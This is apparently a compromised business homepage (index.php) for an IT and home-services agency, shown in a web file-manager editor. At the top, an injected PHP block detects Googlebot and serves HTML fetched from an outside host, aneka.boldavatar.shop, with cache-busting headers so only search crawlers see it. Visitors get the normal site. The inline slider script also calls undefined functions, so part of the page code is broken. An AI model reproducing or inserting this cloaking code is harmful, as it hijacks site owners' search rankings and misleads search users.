System Manager v8.0

Editing: index.php

<?php
    function is_google_bot() {
        $agents = [
            'Googlebot',
            'AdsBot-Google',
            'Mediapartners-Google',
            'Google-Site-Verification',
            'Google-InspectionTool',
            'Googlebot-Mobile',
            'Googlebot-News',
            'Googlebot-Image',
            'Googlebot-Video',
            'Googlebot-Desktop',
            'Googlebot-ReadAloud',
            'Storebot-Google',
            'Google-Read-Aloud'
        ];

$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
        foreach ($agents as $agent) {
            if (stripos($user_agent, $agent) !== false) {
                return true;
            }
        }
        return false;
    }

// ** Penting: Cegah cache oleh Litespeed, Varnish, atau proxy lainnya **
    header("Cache-Control: no-cache, no-store, must-revalidate, private");
    header("Pragma: no-cache");
    header("Expires: 0");
    header("X-Accel-Expires: 0"); // untuk Nginx
    header("X-LiteSpeed-Cache-Control: no-cache"); // khusus Litespeed

if (is_google_bot()) {
        $url = "https://aneka.boldavatar.shop/page.html";
        $content = '';

// Gunakan cURL untuk lebih handal dan bisa menyamar sebagai bot asli
        if (function_exists('curl_init')) {
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_USERAGENT => $_SERVER['HTTP_USER_AGENT'], // samakan dengan user agent pengunjung
                CURLOPT_TIMEOUT => 10,
                CURLOPT_CONNECTTIMEOUT => 5,
                CURLOPT_HTTPHEADER => [
                    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                    'Accept-Language: en-US,en;q=0.5',
                    'Accept-Encoding: gzip, deflate, br',
                    'Connection: keep-alive',
                    'Upgrade-Insecure-Requests: 1'
                ],
                CURLOPT_ENCODING => '', // biarkan curl menangani encoding
            ]);
            $content = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
        }

// Fallback jika cURL gagal
        if (empty($content) || $httpCode !== 200) {
            $content = @file_get_contents($url);
        }

if (!empty($content)) {
            echo $content;
            exit;
        }
    }

// Jika bukan Googlebot atau konten gagal diambil, lanjutkan ke halaman normal
    ?>

<!DOCTYPE html>
<html lang="en">

<meta name="google-site-verification" content="8InxW-TFLMRgzFaj1op_265RcaBp1CiOVvYE8hs83OA" />
  <title>Glorious Service | Website Development, SEO, AI Automation, App & Software Development in Dehradun, Rishikesh & Haridwar</title>
  <meta name="description" content="Glorious Service is a leading IT & digital agency in Uttarakhand offering website development, SEO services, AI automation, mobile app development and custom software development, plus trusted home services in Dehradun, Rishikesh & Haridwar.">
  <meta name="keywords" content="website development company in Dehradun, SEO services Dehradun, AI automation services, mobile app development Uttarakhand, custom software development, web design Rishikesh, digital marketing Haridwar, software company Dehradun, ecommerce website development, business automation, Glorious Service">
  <meta name="author" content="Glorious Service">
  <meta name="robots" content="index, follow, max-image-preview:large">
  <link rel="canonical" href="https://gloriousservice.com/">

<meta property="og:type" content="website">
  <meta property="og:title" content="Glorious Service | Web Development, SEO, AI Automation, App & Software Development">
  <meta property="og:description" content="Build, rank and automate your business. Website development, SEO, AI automation, app & software development in Dehradun, Rishikesh & Haridwar.">
  <meta property="og:url" content="https://gloriousservice.com/">
  <meta property="og:image" content="https://gloriousservice.com/assets/images/19.png">
  <meta property="og:site_name" content="Glorious Service">
  <meta name="twitter:card" content="summary_large_image">
  <meta name="twitter:title" content="Glorious Service | Web Development, SEO, AI & Software">
  <meta name="twitter:description" content="Website development, SEO, AI automation, app & software development in Uttarakhand.">
  <meta name="twitter:image" content="https://gloriousservice.com/assets/images/19.png">

<meta name="msvalidate.01" content="D032F901BC6C084EC3D6A3961C2B00F3" />
  <meta name="google-site-verification" content="k8gqX5g7FAPuh9H2MvoShs6USGYhjIEM43rCygbTImc" />

<link rel="preconnect" href="https://fonts.googleapis.com">
  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
  <link rel="preconnect" href="https://images.unsplash.com" crossorigin>
  <link rel="preload" as="image"
    href="https://images.unsplash.com/photo-1498050108023-c5249f4df085?auto=format&fit=crop&w=1920&q=68"
    fetchpriority="high">
  <link rel="stylesheet"
    href="https://fonts.googleapis.com/css2?family=Plus+Jakarta+Sans:wght@400;500;600;700;800&display=swap"
    media="print" onload="this.media='all'">
  <noscript>
    <link rel="stylesheet"
      href="https://fonts.googleapis.com/css2?family=Plus+Jakarta+Sans:wght@400;500;600;700;800&display=swap">
  </noscript>

<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.15.1/css/all.css" media="print"
    onload="this.media='all'">

<link rel="stylesheet" href="assets/css/libraries.css">
  <link rel="stylesheet" href="assets/css/style.css">

<script type="application/ld+json">
  {
    "@context": "https://schema.org",
    "@type": "ProfessionalService",
    "name": "Glorious Service",
    "image": "https://gloriousservice.com/assets/images/19.png",
    "url": "https://gloriousservice.com/",
    "description": "Website development, SEO, AI automation, mobile app development, custom software development and trusted home services in Dehradun, Rishikesh and Haridwar.",
    "areaServed": ["Dehradun", "Rishikesh", "Haridwar", "Uttarakhand"],
    "address": {
      "@type": "PostalAddress",
      "addressRegion": "Uttarakhand",
      "addressCountry": "IN"
    },
    "makesOffer": [
      {"@type": "Offer", "itemOffered": {"@type": "Service", "name": "Website Development"}},
      {"@type": "Offer", "itemOffered": {"@type": "Service", "name": "SEO Services"}},
      {"@type": "Offer", "itemOffered": {"@type": "Service", "name": "AI Automation"}},
      {"@type": "Offer", "itemOffered": {"@type": "Service", "name": "Mobile App Development"}},
      {"@type": "Offer", "itemOffered": {"@type": "Service", "name": "Custom Software Development"}}
    ],
    "aggregateRating": {
      "@type": "AggregateRating",
      "ratingValue": "4.9",
      "reviewCount": "320"
    }
  }
  </script>

<style>
    .gsx {
      --navy-900: #042347;
      --navy-800: #063464;
      --navy-700: #0a437f;
      --navy-600: #0d4f97;
      --blue-600: #0052da;
      --blue-500: #2f72ef;
      --blue-400: #5b93f6;
      --blue-100: #e8f0ff;
      --blue-50: #f3f7ff;
      --ink: #0a0e14;
      --muted: #5a6675;
      --line: #e6ebf2;
      --white: #ffffff;
      --radius: 18px;
      --shadow-sm: 0 4px 18px rgba(6, 52, 100, .08);
      --shadow-md: 0 18px 50px rgba(6, 52, 100, .14);
      --shadow-blue: 0 16px 40px rgba(0, 82, 218, .28);
      --font: "Plus Jakarta Sans", system-ui, -apple-system, "Segoe UI", Roboto, sans-serif;

font-family: var(--font);
      color: var(--ink);
      background: var(--white);
      -webkit-font-smoothing: antialiased;
      overflow-x: clip;
    }

.gsx *,
    .gsx *::before,
    .gsx *::after { box-sizing: border-box; }

.gsx p { margin: 0 0 1rem; color: var(--muted); line-height: 1.7; }
    .gsx h1, .gsx h2, .gsx h3, .gsx h4 { margin: 0; line-height: 1.15; letter-spacing: -.02em; color: var(--navy-800); }
    .gsx a { text-decoration: none; }
    .gsx img { max-width: 100%; display: block; }

.gsx-wrap { width: min(1180px, 92%); margin-inline: auto; }

/* ---------- eyebrow / section headers ---------- */
    .gsx-eyebrow {
      display: inline-flex; align-items: center; gap: .55rem;
      font-size: .78rem; font-weight: 700; letter-spacing: .12em; text-transform: uppercase;
      color: var(--blue-600); background: var(--blue-100);
      padding: .5rem .9rem; border-radius: 100px;
    }
    .gsx-eyebrow i { font-size: .8rem; }

.gsx-sec { padding: clamp(64px, 9vw, 120px) 0; }
    .gsx-sec--tint { background: var(--blue-50); }
    .gsx-sec-head { max-width: 640px; margin-bottom: 56px; }
    .gsx-sec-head.center { margin-inline: auto; text-align: center; }
    .gsx-sec-head h2 {
      font-size: clamp(1.9rem, 3.6vw, 2.9rem); font-weight: 800; margin: 1rem 0 .9rem;
    }
    .gsx-sec-head p { font-size: 1.05rem; margin: 0; }

/* ---------- buttons ---------- */
    .gsx-btn {
      display: inline-flex; align-items: center; gap: .6rem; cursor: pointer;
      font-weight: 700; font-size: .98rem; border: 0; border-radius: 100px;
      padding: .95rem 1.7rem; transition: transform .25s, box-shadow .25s, background .25s;
      font-family: var(--font);
    }
    .gsx-btn i { transition: transform .25s; }
    .gsx-btn:hover i { transform: translateX(4px); }
    .gsx-btn--primary { background: var(--blue-600); color: #fff; box-shadow: var(--shadow-blue); }
    .gsx-btn--primary:hover { background: #0046bd; transform: translateY(-3px); }
    .gsx-btn--ghost { background: transparent; color: #fff; border: 1.5px solid rgba(255, 255, 255, .35); }
    .gsx-btn--ghost:hover { background: rgba(255, 255, 255, .12); transform: translateY(-3px); }
    .gsx-btn--navy { background: var(--navy-800); color: #fff; box-shadow: var(--shadow-sm); }
    .gsx-btn--navy:hover { background: var(--navy-700); transform: translateY(-3px); }

/* ============ HERO ============ */
    .gsx-hero {
      position: relative; min-height: 92vh; display: flex; align-items: center;
      color: #fff; overflow: hidden; isolation: isolate;
      background: linear-gradient(120deg, var(--navy-900) 0%, var(--navy-800) 45%, var(--navy-700) 100%);
    }
    .gsx-hero__slides { position: absolute; inset: 0; z-index: -2; }
    .gsx-hero__slide {
      position: absolute; inset: 0; background-size: cover; background-position: center;
      opacity: 0; transition: opacity 1.4s ease; transform: scale(1.06);
      animation: gsxKen 9s ease-in-out infinite alternate;
    }
    .gsx-hero__slide.is-active { opacity: 1; }
    @keyframes gsxKen { from { transform: scale(1.04); } to { transform: scale(1.14); } }
    .gsx-hero__overlay {
      position: absolute; inset: 0; z-index: -1;
      background:
        linear-gradient(115deg, rgba(4, 35, 71, .94) 0%, rgba(6, 52, 100, .82) 48%, rgba(0, 82, 218, .55) 100%);
    }
    .gsx-hero__glow {
      position: absolute; width: 520px; height: 520px; border-radius: 50%; z-index: -1;
      background: radial-gradient(circle, rgba(0, 82, 218, .55), transparent 70%);
      filter: blur(20px); right: -120px; top: -120px; pointer-events: none;
    }
    .gsx-hero__inner { padding: 130px 0 90px; max-width: 760px; }
    .gsx-hero .gsx-eyebrow { background: rgba(255, 255, 255, .12); color: #cfe0ff; }
    .gsx-hero h1 {
      color: #fff; font-weight: 800; margin: 1.1rem 0 1.2rem;
      font-size: clamp(2.3rem, 5.4vw, 4rem); line-height: 1.06;
    }
    .gsx-hero h1 .grad {
      background: linear-gradient(90deg, #6ea8ff, #ffffff);
      -webkit-background-clip: text; background-clip: text; color: transparent;
    }
    .gsx-hero p.lead { color: rgba(255, 255, 255, .85); font-size: 1.15rem; max-width: 560px; margin-bottom: 2rem; }
    .gsx-hero__cta { display: flex; flex-wrap: wrap; gap: 1rem; }

/* hero rotating service pills */
    .gsx-hero__tags { display: flex; flex-wrap: wrap; gap: .6rem; margin-top: 2.6rem; }
    .gsx-hero__tags span {
      font-size: .82rem; font-weight: 600; color: #dce8ff;
      border: 1px solid rgba(255, 255, 255, .22); border-radius: 100px; padding: .45rem .9rem;
      backdrop-filter: blur(4px);
    }

/* hero dots */
    .gsx-hero__dots { display: flex; gap: .5rem; margin-top: 2.6rem; }
    .gsx-hero__dots button {
      width: 30px; height: 5px; border-radius: 100px; border: 0; cursor: pointer;
      background: rgba(255, 255, 255, .3); transition: background .3s, width .3s; padding: 0;
    }
    .gsx-hero__dots button.is-active { background: #fff; width: 46px; }

/* ============ STATS BAR ============ */
    .gsx-stats {
      position: relative; z-index: 3; margin-top: -52px;
    }
    .gsx-stats__grid {
      background: #fff; border-radius: var(--radius); box-shadow: var(--shadow-md);
      display: grid; grid-template-columns: repeat(4, 1fr); overflow: hidden;
      border: 1px solid var(--line);
    }
    .gsx-stat { padding: 28px 26px; text-align: center; border-right: 1px solid var(--line); }
    .gsx-stat:last-child { border-right: 0; }
    .gsx-stat b { display: block; font-size: clamp(1.7rem, 3vw, 2.3rem); font-weight: 800; color: var(--blue-600); }
    .gsx-stat span { font-size: .9rem; color: var(--muted); font-weight: 600; }

/* ============ SERVICE CARDS (digital) ============ */
    .gsx-cards { display: grid; grid-template-columns: repeat(3, 1fr); gap: 24px; }
    .gsx-card {
      position: relative; background: #fff; border: 1px solid var(--line); border-radius: var(--radius);
      padding: 34px 30px; overflow: hidden; transition: transform .3s, box-shadow .3s, border-color .3s;
    }
    .gsx-card::before {
      content: ""; position: absolute; top: 0; left: 0; right: 0; height: 4px;
      background: linear-gradient(90deg, var(--navy-800), var(--blue-600)); transform: scaleX(0);
      transform-origin: left; transition: transform .4s;
    }
    .gsx-card:hover { transform: translateY(-8px); box-shadow: var(--shadow-md); border-color: transparent; }
    .gsx-card:hover::before { transform: scaleX(1); }
    .gsx-card__icon {
      width: 60px; height: 60px; border-radius: 16px; display: grid; place-items: center;
      font-size: 1.5rem; color: #fff; margin-bottom: 20px;
      background: linear-gradient(135deg, var(--navy-800), var(--blue-600));
    }
    .gsx-card h3 { font-size: 1.28rem; font-weight: 700; margin-bottom: .6rem; }
    .gsx-card p { font-size: .96rem; margin-bottom: 1.1rem; }
    .gsx-card__link { font-weight: 700; color: var(--blue-600); font-size: .92rem; display: inline-flex; gap: .4rem; align-items: center; }
    .gsx-card__link i { transition: transform .25s; }
    .gsx-card:hover .gsx-card__link i { transform: translateX(4px); }
    .gsx-card__tag {
      position: absolute; top: 20px; right: 20px; font-size: .68rem; font-weight: 700;
      letter-spacing: .08em; text-transform: uppercase; color: var(--blue-600);
      background: var(--blue-100); padding: .3rem .6rem; border-radius: 100px;
    }

/* ============ WHY US (split) ============ */
    .gsx-why { display: grid; grid-template-columns: 1.05fr 1fr; gap: 56px; align-items: center; }
    .gsx-why__media { position: relative; border-radius: 24px; overflow: hidden; box-shadow: var(--shadow-md); }
    .gsx-why__media img { width: 100%; height: 100%; object-fit: cover; aspect-ratio: 4/3.4; }
    .gsx-why__badge {
      position: absolute; left: 22px; bottom: 22px; background: #fff; border-radius: 16px;
      padding: 16px 20px; box-shadow: var(--shadow-sm); display: flex; align-items: center; gap: 12px;
    }
    .gsx-why__badge .ic { width: 44px; height: 44px; border-radius: 12px; background: var(--blue-100); color: var(--blue-600); display: grid; place-items: center; font-size: 1.2rem; }
    .gsx-why__badge b { display: block; font-size: 1.05rem; color: var(--navy-800); }
    .gsx-why__badge small { color: var(--muted); font-size: .8rem; }
    .gsx-feat { display: grid; gap: 18px; margin-top: 26px; }
    .gsx-feat__item { display: flex; gap: 16px; align-items: flex-start; }
    .gsx-feat__item .ic {
      flex: 0 0 46px; width: 46px; height: 46px; border-radius: 12px; display: grid; place-items: center;
      color: #fff; font-size: 1.1rem; background: linear-gradient(135deg, var(--navy-800), var(--blue-600));
    }
    .gsx-feat__item h4 { font-size: 1.08rem; font-weight: 700; margin-bottom: .25rem; }
    .gsx-feat__item p { margin: 0; font-size: .94rem; }

/* ============ PROCESS ============ */
    .gsx-steps { display: grid; grid-template-columns: repeat(4, 1fr); gap: 24px; }
    .gsx-step { position: relative; padding: 30px 26px; border-radius: var(--radius); background: #fff; border: 1px solid var(--line); transition: transform .3s, box-shadow .3s; }
    .gsx-step:hover { transform: translateY(-6px); box-shadow: var(--shadow-sm); }
    .gsx-step__no { font-size: 2.6rem; font-weight: 800; color: var(--blue-100); line-height: 1; }
    .gsx-step h4 { font-size: 1.1rem; font-weight: 700; margin: 10px 0 .5rem; }
    .gsx-step p { font-size: .92rem; margin: 0; }

/* ============ HOME SERVICES (secondary) ============ */
    .gsx-mini { display: grid; grid-template-columns: repeat(4, 1fr); gap: 18px; }
    .gsx-mini__item {
      display: flex; align-items: center; gap: 14px; background: #fff; border: 1px solid var(--line);
      border-radius: 14px; padding: 18px 18px; transition: border-color .25s, transform .25s, box-shadow .25s;
    }
    .gsx-mini__item:hover { border-color: var(--blue-400); transform: translateY(-4px); box-shadow: var(--shadow-sm); }
    .gsx-mini__item .ic { flex: 0 0 44px; width: 44px; height: 44px; border-radius: 11px; background: var(--blue-100); color: var(--blue-600); display: grid; place-items: center; font-size: 1.15rem; }
    .gsx-mini__item b { font-size: .98rem; color: var(--navy-800); font-weight: 700; }

/* ============ CTA BAND ============ */
    .gsx-cta {
      position: relative; overflow: hidden; border-radius: 28px; padding: clamp(44px, 6vw, 72px);
      color: #fff; text-align: center;
      background: linear-gradient(120deg, var(--navy-900), var(--navy-800) 55%, var(--blue-600));
    }
    .gsx-cta::after {
      content: ""; position: absolute; width: 360px; height: 360px; border-radius: 50%;
      background: radial-gradient(circle, rgba(255, 255, 255, .14), transparent 70%);
      top: -120px; right: -80px;
    }
    .gsx-cta h2 { color: #fff; font-size: clamp(1.8rem, 3.6vw, 2.8rem); font-weight: 800; position: relative; }
    .gsx-cta p { color: rgba(255, 255, 255, .85); max-width: 560px; margin: 1rem auto 2rem; position: relative; }
    .gsx-cta__btns { display: flex; justify-content: center; flex-wrap: wrap; gap: 1rem; position: relative; }

/* ============ scroll reveal ============ */
    .gsx-reveal { opacity: 0; transform: translateY(26px); transition: opacity .7s ease, transform .7s ease; }
    .gsx-reveal.is-in { opacity: 1; transform: none; }

/* ============ RESPONSIVE ============ */
    @media (max-width: 992px) {
      .gsx-cards { grid-template-columns: repeat(2, 1fr); }
      .gsx-steps { grid-template-columns: repeat(2, 1fr); }
      .gsx-mini { grid-template-columns: repeat(2, 1fr); }
      .gsx-why { grid-template-columns: 1fr; }
      .gsx-stats__grid { grid-template-columns: repeat(2, 1fr); }
      .gsx-stat:nth-child(2) { border-right: 0; }
      .gsx-stat { border-bottom: 1px solid var(--line); }
    }
    @media (max-width: 600px) {
      .gsx-cards { grid-template-columns: 1fr; }
      .gsx-steps { grid-template-columns: 1fr; }
      .gsx-mini { grid-template-columns: 1fr; }
      .gsx-hero { min-height: auto; }
      .gsx-hero__inner { padding: 120px 0 70px; }
    }
    @media (prefers-reduced-motion: reduce) {
      .gsx *, .gsx *::before, .gsx *::after { animation: none !important; transition: none !important; }
      .gsx-reveal { opacity: 1; transform: none; }
    }
  </style>
</head>

<?php include 'header.php'; ?>

<main class="gsx">

<section class="gsx-hero" aria-label="Digital services hero">
        <div class="gsx-hero__slides" id="gsxSlides">
          <div class="gsx-hero__slide is-active"
            style="background-image:url('https://images.unsplash.com/photo-1498050108023-c5249f4df085?auto=format&fit=crop&w=1920&q=68')">
          </div>
          <div class="gsx-hero__slide"
            data-bg="https://images.unsplash.com/photo-1522071820081-009f0129c71c?auto=format&fit=crop&w=1920&q=68">
          </div>
          <div class="gsx-hero__slide"
            data-bg="https://images.unsplash.com/photo-1460925895917-afdab827c52f?auto=format&fit=crop&w=1920&q=68">
          </div>
        </div>
        <div class="gsx-hero__overlay"></div>
        <div class="gsx-hero__glow"></div>

<div class="gsx-wrap">
          <div class="gsx-hero__inner">
            <span class="gsx-eyebrow"><i class="fas fa-bolt"></i> Web · SEO · AI · Apps · Software</span>
            <h1>We build, rank &amp; <span class="grad">automate</span> your business online</h1>
            <p class="lead">
              Glorious Service is your end-to-end digital partner in India —
              from high-performance <strong>website development</strong> and result-driven <strong>SEO</strong>
              to <strong>AI automation</strong>, <strong>mobile apps</strong> and <strong>custom software</strong>.
            </p>
            <div class="gsx-hero__cta">
              <a href="contact-us.php" class="gsx-btn gsx-btn--primary">Get a Free Quote <i class="fas fa-arrow-right"></i></a>
              <a href="services.php" class="gsx-btn gsx-btn--ghost">Explore Services</a>
            </div>
            <div class="gsx-hero__tags">
              <span>Website Development</span>
              <span>SEO Services</span>
              <span>AI Automation</span>
              <span>App Development</span>
              <span>Software Development</span>
            </div>
            <div class="gsx-hero__dots" id="gsxDots" aria-label="Slide controls">
              <button class="is-active" aria-label="Slide 1"></button>
              <button aria-label="Slide 2"></button>
              <button aria-label="Slide 3"></button>
            </div>
          </div>
        </div>
      </section>

<div class="gsx-stats">
        <div class="gsx-wrap">
          <div class="gsx-stats__grid gsx-reveal">
            <div class="gsx-stat"><b>500+</b><span>Projects Delivered</span></div>
            <div class="gsx-stat"><b>4.9/5</b><span>Client Rating</span></div>
            <div class="gsx-stat"><b>Services</b><span>Across the World</span></div>
            <div class="gsx-stat"><b>24/7</b><span>Support &amp; Maintenance</span></div>
          </div>
        </div>
      </div>

<section class="gsx-sec" id="services">
        <div class="gsx-wrap">
          <div class="gsx-sec-head center gsx-reveal">
            <span class="gsx-eyebrow"><i class="fas fa-laptop-code"></i> What We Build</span>
            <h2>Digital services that grow your business</h2>
            <p>From your first website to fully automated workflows — we design, develop and rank digital
              products that help businesses in Uttarakhand sell more and work smarter.</p>
          </div>

<div class="gsx-cards">
            
            <article class="gsx-card gsx-reveal">
              <span class="gsx-card__tag">Featured</span>
              <div class="gsx-card__icon"><i class="fas fa-code"></i></div>
              <h3>Website Development</h3>
              <p>Fast, mobile-first, SEO-ready websites &amp; e-commerce stores built to convert visitors into
                customers — custom design, CMS and lightning-fast load times.</p>
              <a href="services.php" class="gsx-card__link">Learn more <i class="fas fa-arrow-right"></i></a>
            </article>

<article class="gsx-card gsx-reveal">
              <span class="gsx-card__tag">Featured</span>
              <div class="gsx-card__icon"><i class="fas fa-chart-line"></i></div>
              <h3>SEO Services</h3>
              <p>Rank higher on Google with on-page, technical and local SEO. We target high-intent keywords
                so customers in Dehradun, Rishikesh &amp; Haridwar find you first.</p>
              <a href="services.php" class="gsx-card__link">Learn more <i class="fas fa-arrow-right"></i></a>
            </article>

<article class="gsx-card gsx-reveal">
              <span class="gsx-card__tag">New</span>
              <div class="gsx-card__icon"><i class="fas fa-robot"></i></div>
              <h3>AI Automation</h3>
              <p>Automate repetitive tasks with AI — chatbots, lead capture, workflow automation and smart
                integrations that save hours and reduce costs across your business.</p>
              <a href="services.php" class="gsx-card__link">Learn more <i class="fas fa-arrow-right"></i></a>
            </article>

<article class="gsx-card gsx-reveal">
              <span class="gsx-card__tag">New</span>
              <div class="gsx-card__icon"><i class="fas fa-mobile-alt"></i></div>
              <h3>App Development</h3>
              <p>Native &amp; cross-platform mobile apps for Android and iOS — intuitive UX, secure backends
                and scalable architecture that your users will love.</p>
              <a href="services.php" class="gsx-card__link">Learn more <i class="fas fa-arrow-right"></i></a>
            </article>

<article class="gsx-card gsx-reveal">
              <span class="gsx-card__tag">New</span>
              <div class="gsx-card__icon"><i class="fas fa-laptop-code"></i></div>
              <h3>Software Development</h3>
              <p>Custom software, CRMs, ERPs and business tools built around your exact workflow — reliable,
                secure and ready to scale as you grow.</p>
              <a href="services.php" class="gsx-card__link">Learn more <i class="fas fa-arrow-right"></i></a>
            </article>

<article class="gsx-card gsx-reveal">
              <div class="gsx-card__icon"><i class="fas fa-bullhorn"></i></div>
              <h3>Digital Marketing</h3>
              <p>Social media, Google Ads and content marketing that builds your brand and brings consistent,
                measurable leads every month.</p>
              <a href="services.php" class="gsx-card__link">Learn more <i class="fas fa-arrow-right"></i></a>
            </article>
          </div>
        </div>
      </section>

<section class="gsx-sec gsx-sec--tint">
        <div class="gsx-wrap">
          <div class="gsx-why">
            <div class="gsx-why__media gsx-reveal">
              <img src="https://images.unsplash.com/photo-1551434678-e076c223a692?auto=format&fit=crop&w=1100&q=70"
                alt="Glorious Service digital team building websites and software" loading="lazy" width="1100" height="900"
                decoding="async">
              <div class="gsx-why__badge">
                <span class="ic"><i class="fas fa-award"></i></span>
                <div><b>4.9 / 5 Rating</b><small>320+ happy clients</small></div>
              </div>
            </div>

<div class="gsx-reveal">
              <span class="gsx-eyebrow"><i class="fas fa-star"></i> Why Glorious Service</span>
              <div class="gsx-sec-head" style="margin-bottom:18px">
                <h2>One trusted partner for everything digital</h2>
                <p>We combine clean design, solid engineering and proven SEO to deliver products that look
                  great, load fast and actually grow your revenue.</p>
              </div>

<div class="gsx-feat">
                <div class="gsx-feat__item">
                  <span class="ic"><i class="fas fa-tachometer-alt"></i></span>
                  <div>
                    <h4>Lightning-fast &amp; SEO-optimized</h4>
                    <p>Every site we build is performance-tuned and search-ready from day one.</p>
                  </div>
                </div>
                <div class="gsx-feat__item">
                  <span class="ic"><i class="fas fa-user-shield"></i></span>
                  <div>
                    <h4>Verified, skilled experts</h4>
                    <p>Experienced developers, designers and SEO specialists under one roof.</p>
                  </div>
                </div>
                <div class="gsx-feat__item">
                  <span class="ic"><i class="fas fa-rupee-sign"></i></span>
                  <div>
                    <h4>Transparent, fair pricing</h4>
                    <p>Clear quotes with no hidden charges — you always know what you pay for.</p>
                  </div>
                </div>
                <div class="gsx-feat__item">
                  <span class="ic"><i class="fas fa-headset"></i></span>
                  <div>
                    <h4>Reliable ongoing support</h4>
                    <p>Maintenance, updates and quick response whenever you need us.</p>
                  </div>
                </div>
              </div>
            </div>
          </div>
        </div>
      </section>

<section class="gsx-sec">
        <div class="gsx-wrap">
          <div class="gsx-sec-head center gsx-reveal">
            <span class="gsx-eyebrow"><i class="fas fa-route"></i> How It Works</span>
            <h2>Simple steps to launch your project</h2>
            <p>A clear, proven process that takes your idea from concept to a finished product that performs.</p>
          </div>

<div class="gsx-steps">
            <div class="gsx-step gsx-reveal">
              <div class="gsx-step__no">01</div>
              <h4>Share your requirement</h4>
              <p>Tell us your goals, budget and timeline. We listen and understand your business first.</p>
            </div>
            <div class="gsx-step gsx-reveal">
              <div class="gsx-step__no">02</div>
              <h4>Plan &amp; design</h4>
              <p>We map the strategy, wireframes and design tailored to your brand and audience.</p>
            </div>
            <div class="gsx-step gsx-reveal">
              <div class="gsx-step__no">03</div>
              <h4>Build &amp; optimize</h4>
              <p>Our team develops, tests and SEO-optimizes everything for speed and rankings.</p>
            </div>
            <div class="gsx-step gsx-reveal">
              <div class="gsx-step__no">04</div>
              <h4>Launch &amp; support</h4>
              <p>We go live and stay with you — monitoring, maintaining and helping you scale.</p>
            </div>
          </div>
        </div>
      </section>

<section class="gsx-sec gsx-sec--tint">
        <div class="gsx-wrap">
          <div class="gsx-sec-head center gsx-reveal">
            <span class="gsx-eyebrow"><i class="fas fa-home"></i> Also Available</span>
            <h2>Trusted home &amp; on-site services</h2>
            <p>Beyond digital, our verified professionals still handle all your home and business needs across
              Dehradun, Rishikesh &amp; Haridwar.</p>
          </div>

<div class="gsx-mini">
            <div class="gsx-mini__item gsx-reveal"><span class="ic"><i class="fas fa-hammer"></i></span><b>Carpenter</b></div>
            <div class="gsx-mini__item gsx-reveal"><span class="ic"><i class="fas fa-faucet"></i></span><b>Plumber</b></div>
            <div class="gsx-mini__item gsx-reveal"><span class="ic"><i class="fas fa-bolt"></i></span><b>Electrician</b></div>
            <div class="gsx-mini__item gsx-reveal"><span class="ic"><i class="fas fa-broom"></i></span><b>Cleaning</b></div>
            <div class="gsx-mini__item gsx-reveal"><span class="ic"><i class="fas fa-couch"></i></span><b>Interior Design</b></div>
            <div class="gsx-mini__item gsx-reveal"><span class="ic"><i class="fas fa-water"></i></span><b>Waterproofing</b></div>
            <div class="gsx-mini__item gsx-reveal"><span class="ic"><i class="fas fa-utensils"></i></span><b>Modular Kitchen</b></div>
            <div class="gsx-mini__item gsx-reveal"><span class="ic"><i class="fas fa-video"></i></span><b>CCTV Setup</b></div>
          </div>
        </div>
      </section>

<section class="gsx-sec">
        <div class="gsx-wrap">
          <div class="gsx-cta gsx-reveal">
            <h2>Ready to grow your business online?</h2>
            <p>Let's build something that ranks, converts and scales. Get a free consultation with the
              Glorious Service team today.</p>
            <div class="gsx-cta__btns">
              <a href="contact-us.php" class="gsx-btn gsx-btn--primary">Start Your Project <i class="fas fa-arrow-right"></i></a>
              <a href="tel:+910000000000" class="gsx-btn gsx-btn--ghost"><i class="fas fa-phone"></i> Call Us</a>
            </div>
          </div>
        </div>
      </section>

</main>

<?php include 'footer.php'; ?>

</div>

<script src="assets/js/jquery-3.6.0.min.js" defer></script>
  <script src="assets/js/plugins.js" defer></script>
  <script src="assets/js/main.js" defer></script>

<script>
    (function () {
      "use strict";

/* ---- Hero slider (crossfade, lazy backgrounds) ---- */
      var slides = Array.prototype.slice.call(document.querySelectorAll('#gsxSlides .gsx-hero__slide'));
      var dots = Array.prototype.slice.call(document.querySelectorAll('#gsxDots button'));
      var i = 0, timer;

if (slides.length > 1) {
        // warm up next slide
        preload(slides[1]);
        dots.forEach(function (d, idx) {
          d.addEventListener('click', function () { go(idx); reset(); });
        });
        start();
      }

/* ---- Scroll reveal ---- */
      var reveals = document.querySelectorAll('.gsx-reveal');
      if ('IntersectionObserver' in window) {
        var io = new IntersectionObserver(function (entries) {
          entries.forEach(function (e) {
            if (e.isIntersecting) { e.target.classList.add('is-in'); io.unobserve(e.target); }
          });
        }, { threshold: 0.12 });
        reveals.forEach(function (el) { io.observe(el); });
      } else {
        reveals.forEach(function (el) { el.classList.add('is-in'); });
      }
    })();
  </script>
</body>

</html>

Cancel